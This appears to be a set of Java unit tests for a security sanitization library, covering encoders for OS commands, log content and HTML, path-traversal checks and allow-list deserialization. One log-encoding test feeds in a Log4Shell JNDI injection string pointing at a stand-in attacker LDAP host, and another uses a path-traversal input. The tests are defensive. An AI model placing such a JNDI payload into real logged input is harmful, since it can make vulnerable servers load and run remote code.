		"\\u0085",
		"\\u00A0",
		"\\u1680",
		"\\u180E",
		"\\u2000",
		"\\u2001",
		"\\u2002",
		"\\u2003",
		"\\u2004",
		"\\u2005",
		"\\u2006",
		"\\u2007",
		"\\u2008",
		"\\u2009",
		"\\u200A",
		"\\u2028",
		"\\u2029",
		"\\u202F",
		"\\u205F",
		"\\u3000"
	]
}
package io.whitesource.cure;

import static io.whitesource.cure.Encoder.*;

import org.apache.commons.lang3.SystemUtils;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;

import java.io.File;
import java.util.*;

class EncodersTests {

  @Test
  void forOsCommand_operatingSystem_successfullyWithResult() {
    String input = "!windows123";
    String expected = "";
    if (SystemUtils.IS_OS_WINDOWS) {
      expected = "^!windows123";
    } else if (SystemUtils.IS_OS_UNIX) {
      expected = "\\!windows123";
    }

    String actual = forOsCommand(input);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void forOsCommand_null_successfully() {
    Assertions.assertNull(forOsCommand(null));
  }

  @Test
  void forCrlf_htmlContent_successfullyWithResult() {
    String input = "a1\rb2";
    String expected = "a1b2";

    String actual = forCrlf(input);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void forCrlf_null_successfully() {
    String input = null;
    Assertions.assertNull(forCrlf(input));
  }

  @Test
  @Disabled
  void forLogContent_oneElementArray_successfullyWithResult() {

    String[] oneElementStringArray = new String[] {"Barbi\n\r\t><"};
    String[] expectedEncodedArray = new String[] {"Barbi___&gt;&lt;"};

    String[] actualEncodedArray = Encoder.forLogContent(oneElementStringArray);
    Assertions.assertArrayEquals(expectedEncodedArray, actualEncodedArray);
  }

  @Test
  @Disabled
  void forLogContent_threeElementArray_successfullyWithResult() {

    String[] threeElementStringArray = new String[] {"I\n\r\t", "am>", "Barbi<"};
    String[] expectedEncodedArray = new String[] {"I___", "am&gt;", "Barbi&lt;"};

    String[] actualEncodedArray = Encoder.forLogContent(threeElementStringArray);
    Assertions.assertArrayEquals(expectedEncodedArray, actualEncodedArray);
  }

  @Test
  @Disabled
  void forLogContent_collection_successfullyWithResult() {

    List<String> results = new ArrayList<>();

    results.add("I\n\r\t");
    results.add("am>");

    String[] expectedEncodedArray = new String[] {"I___", "am&gt;", "Barbi&lt;"};

    List<String> actualEncodedArray = Encoder.forLogContent(results);
    Assertions.assertEquals(actualEncodedArray.iterator().next(), Arrays.stream(expectedEncodedArray).iterator().next());
  }

  @Test
  void forLogContent_fullEncodingCapabilities_successfullyWithResult() {

    String barbi = "Barbi\n\r\t><";
    String expected = "Barbi___&gt;&lt;";

    String actual = forLogContent(barbi);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void forLogContent_null_successfully() {

    Assertions.assertNull(forLogContent((Object) null));
  }

  @Test
  void forLogContent_actual_tainted_log4j_successfully() {

    String barbi = "${jndi:ldap://attacker-srv.com/foo}";
    String expected = "&dollar;{jndi:ldap://attacker-srv.com/foo}";

    String actual = forLogContent(barbi);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void forHtmlAttributeXss_successfullyWithResult_array() {
    char[] chars = {'a', 'b', 'c', 'd', 'e', '<', '>'};
    String expected = "abcde&lt;>";

    String actual = forHtmlAttributeXss(chars);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void escapeForbiddenCharactersWithPath() {
    String originalValue = "abcde<>";
    String expected = "abcde__";
    File propertiesFile = new File("src\\main\\resources\\WssAllowListForLog.json");

    String actual = escapeForbiddenCharacters(originalValue, propertiesFile);
    Assertions.assertEquals(expected, actual);
  }

  @Test
  void escapeForbiddenCharactersTestWithoutPath() {
    String originalValue = "abcde<>";
    String expected = "abcde__";

    String actual = escapeForbiddenCharacters(originalValue);
    Assertions.assertEquals(expected, actual);
  }
}
package io.whitesource.cure;

import java.io.File;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;

class FileSecurityUtilsTests {

  @Test
  void isFileInDir_outside_successfullyWithResult() throws IOException {
    Path sourcePath = Paths.get("src").toAbsolutePath();
    Path cwd = Paths.get("").toAbsolutePath();

    boolean isOutside = FileSecurityUtils.isFileOutsideDir(cwd.toString(), sourcePath.toString());
    Assertions.assertTrue(isOutside);
  }

  @Test
  void isFileInDir_inside_successfullyWithResult() throws IOException {
    Path sourcePath = Paths.get("src").toAbsolutePath();
    Path cwd = Paths.get("").toAbsolutePath();

    boolean isOutside = FileSecurityUtils.isFileOutsideDir(sourcePath.toString(), cwd.toString());
    Assertions.assertFalse(isOutside);
  }

  @Test
  void isFileInDir_null_successfully() {
    Assertions.assertThrows(
            NullPointerException.class, () -> FileSecurityUtils.isFileOutsideDir(null, null));

    Assertions.assertThrows(
            NullPointerException.class,
            () -> FileSecurityUtils.isFileOutsideDir("file-path-place-holder", null));

    Assertions.assertThrows(
            NullPointerException.class,
            () -> FileSecurityUtils.isFileOutsideDir(null, "base-dir-place-holder"));
  }

  @Test
  void normalize_validInput_successfullyWithResult() {
    String validInput = "./In/../Valid/Un/../Normalized/./Path";
    String expectedResult = "Valid" + File.separator + "Normalized" + File.separator + "Path";

    String actualResult = FileSecurityUtils.normalize(validInput);
    Assertions.assertEquals(expectedResult, actualResult);
  }

  @Test
  void isFileOutsideDirStartsWithTest() throws IOException {
    String taintedInput = "/usr/foo/../foo-bar/bar";
    String baseDir = "/usr/foo";
    Assertions.assertTrue(FileSecurityUtils.isFileOutsideDir(taintedInput, baseDir));
  }

  @Test
  void normalize_null_successfully() {
    Assertions.assertNull(FileSecurityUtils.normalize(null));
  }
}
package io.whitesource.cure;

import io.whitesource.cure.mocks.Academy;
import io.whitesource.cure.mocks.Campus;
import io.whitesource.cure.mocks.Student;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;

import java.io.*;
import java.util.*;

public class SecureDeserializationTests {

    private static final List<Class<?>> CLASSES = Arrays.asList(
            Academy.class, Campus.class, Student.class, HashSet.class, ArrayList.class);
    private static final Set<String> PACKAGES = new HashSet<>(Arrays.asList("io.whitesource.cure.mock", "java.util"));
    private static final Academy university = createAcademy();

    @Test
    public void secureObjectInputStream_withClassesWhiteList() throws IOException, ClassNotFoundException {
        Set<String> classNames = new HashSet<>();
        CLASSES.forEach(clazz -> classNames.add(clazz.getName()));
        SecureObjectInputStream ois = new SecureObjectInputStream(serialize(university), classNames);
        Assertions.assertEquals(ois.readObject(), university);
    }

    @Test
    public void secureObjectInputStream_withPackageWhiteList() throws IOException, ClassNotFoundException {
        SecureObjectInputStream ois = new SecureObjectInputStream(serialize(university), new HashSet<>(), PACKAGES);
        Assertions.assertEquals(university, ois.readObject());
    }

    @Test
    public void secureObjectInputStream_withLackingWhiteList() throws IOException {
        SecureObjectInputStream ois = new SecureObjectInputStream(
                serialize(university), new HashSet<>(), Collections.singleton("java.util"));
        Assertions.assertThrows(InvalidClassException.class, ois::readObject);
    }

    private static ByteArrayInputStream serialize(Object toSerialize) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(toSerialize);
        oos.flush();
        byte[] exploit = bos.toByteArray();
        return new ByteArrayInputStream(exploit);
    }

    private static Academy createAcademy() {
        List<Student> students = new ArrayList<>();
        students.add(new Student(22.2f, "Scarlet", "Johansson", "BSc"));
        Campus campus1 = new Campus("Stanford", "California");
        Campus campus2 = new Campus("MIT", "Massachusetts");
        Set<Campus> campuses = new HashSet<>(Arrays.asList(campus1, campus2));
        return new Academy(students, "Ivy League", campuses);
    }
}
package io.whitesource.cure.mocks;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.Serializable;
import java.util.List;
import java.util.Set;

@Data
@AllArgsConstructor
public class Academy implements Serializable {
    private List<Student> students;
    private String academyName;
    private Set<Campus> campuses;
}
package io.whitesource.cure.mocks;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.Serializable;

@Data
@AllArgsConstructor
public class Campus implements Serializable {
    private String name;
    private String address;
}
package io.whitesource.cure.mocks;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.Serializable;

@Data
@AllArgsConstructor
public class Student implements Serializable {
    private float age;
    private String firstName;
    private String lastName;
    private String degreeName;
}